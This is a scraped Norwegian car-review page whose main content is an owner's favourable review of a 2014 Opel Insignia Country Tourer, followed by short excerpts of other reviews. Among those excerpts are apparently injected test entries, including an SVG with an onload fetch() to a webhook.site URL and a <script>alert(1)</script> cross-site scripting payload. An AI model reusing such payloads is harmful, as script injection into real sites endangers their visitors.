Hvilken bil ser du etter?

Tilbake til front | Skriv en vurdering
2014 Opel Insignia Country Tourer 2,0 CDTi 163hk Premium Stasjonsvogn Diesel

Score 9/10

Greit kompromiss hvis man klarer seg med middels bagasjeplass. God comfort, mye utstyr, trofast og pålitelig. Bedre enn de fleste både i skarpe svinger og på dårlig føre. Gode Bi-Xenon lys, dieselvarmer og varme i ratt er bra på mørke kalde vinterdager. Ventilasjon i seter, soltak i tillegg til aircondition og multimedier via mobiltelefon er fint om sommeren. Litt dårlig sikt bak, og ryggekameraet kunne vært bedre. Veldig mye bil for pengene.

Kjøreglede

9 / 10
Komfortabel, lettkjørt, ligger godt i svingene, fantastisk vinterbil

Kvalitet/driftssikkerhet

10 / 10
Upåklagelig. Kun en ABS-sensor i tillegg til service, vindusviskere og bremseklosser

Plass/praktiske løsninger

8 / 10
Praktiske rom, men ikke stor innvendig i forhold til bilens størrelse

Økonomi/kostnader

9 / 10
Rimelig service og vedlikehold. Middels verditap

Drivstoff/forbruk

9 / 10
0,63 blandet med automat og firehjulstrekk

Flere vurderinger fra samme modell

Opel Insignia Country Tourer (2017)

Tysk kvalitet og fornuftig bil.

Score 9.8

Vurdert av Bengan

Opel Insignia Country Tourer (2016)

Veldig fornøyd med bilen! Kjøremaskin med knallgod komfort, tilstrekkelig med krefter og fantastiske seter (AGR). Gode reguleringsmuligheter på sete og ratt gir god kjørestilling selv for en mann

Score 7.8

Vurdert av TrondNK

Opel Insignia Country Tourer (2014)

Knallgod og godt utstyrt bil som (foreløpig) har bydd på problemfritt bilhold. Ventilerte skinnseter, up-to-date multimediasystem, dieselvarmer, justerbart understell og adaptiv cruise er utstyr som

Score 7.4

Vurdert av tronderhunter

Opel Insignia Country Tourer (2014)

Meget gode kjøreegenskaper. Driftssikker. Mye utstyr. Særdeles gode seter.

Score 9.4

Vurdert av OleB

Opel Insignia Country Tourer (2014)

En glimrende bil, med elegante løsninger, gode seter, ypperlige kjøreegenskaper!!

Score 9.2

Vurdert av Buffen16

Opel Insignia Country Tourer (2014)

Driftsikker bil

Score 9.8

Vurdert av Johnna

Opel Insignia Country Tourer (2014)

Komfortabel og pålitelig bil med lave driftskostnader.

Score 9.4

Vurdert av Rasmus

Opel Insignia Country Tourer (2014)

Etter til sammen 115 000 km bak rattet i to Insignia, kan jeg ikke annet enn å skamrose bilen. Den er en nytelse å se på og en nytelse å kjøre. Bonusen er at du ikke kjører rundt i noe som hver

Score 9.4

Vurdert av Perfeksjonisten

Opel Insignia Country Tourer (2014)

Bil full av frustrasjon og opplever stadig at verkstedet ikke innehar nødvendig kompetanse / vilje til å rette opp feil. Jeg fikk bilen som ny, har hatt den i 3 år, og tilbakelagt 125 000km.

Score 3.0

Vurdert av kjørermye

Opel Insignia Country Tourer (2014)

Fantastisk god bil, litt premiumfølese i interiøret, ryddig og lett og finne fram. Ikke minst er den pen og se på.

Score 9.0

Vurdert av JAKT

Opel Insignia Country Tourer (2014)

Svært godt fornøyd! En fornøyelse å kunne skifte mellom bakhjulsdrift på sommerføre og myk fjæring med hovedsaklig framhjulsdrift på dårlige vinterveier. God bruksbil også, når den trekker

Score 8.8

Vurdert av Dagfinn

Opel Insignia Country Tourer (2014)

Mest bil for pengene i denne klassen og et meget godt 4x4 system. Komfort , kjøreegenskaper og masse utstyr .

Score 9.4

Vurdert av Kidden.

Opel Insignia Country Tourer (2014)

Fantastisk god bil å kjøre, veldig gode seter, alt av utstyr for en så billig bil. Minus, den ligg på ca 0.7 til 0.8 i forbruk men alt annet oppveier dette so langt.

Score 8.0

Vurdert av Jova

Opel Insignia Country Tourer (2014)

Topp bil med utrolig god komfort og gode løsninger. MYE utstyr følger også med. Kanskje litt vel tung (ca 2000 kg med "normal" sjåfør - derav den gode komforten) og støyende motor (merkes kun p

Score 9.0

Vurdert av Kalle Deg

Flere vurderinger

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Score 8.4

Vurdert av Knut

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Score 9.0

Vurdert av Siri

Aston Martin DB9 GT (2017)

alert("total")

Score 5.0

Vurdert av test

Aston Martin DB9 GT (2017)

totalvurderingtest

Score 5.0

Vurdert av test

Abarth 500e (2024)

Score 10

Vurdert av Bernt

Abarth 500e (2024)

Score 1.0

Vurdert av xxxfooo4

Abarth 500e (2024)

xxxfooo4

Score 3.0

Vurdert av xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Score 6.2

Vurdert av Bernt

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Score 1.6

Vurdert av Jorsalfar1996

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Score 8.2

Vurdert av Adams

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Score 8.6

Vurdert av Viggo

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Score 8.2

Vurdert av MrP85

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Score 9.4

Vurdert av Renna

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Score 8.8

Vurdert av Autofilen

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

Score 9.6

Vurdert av Hans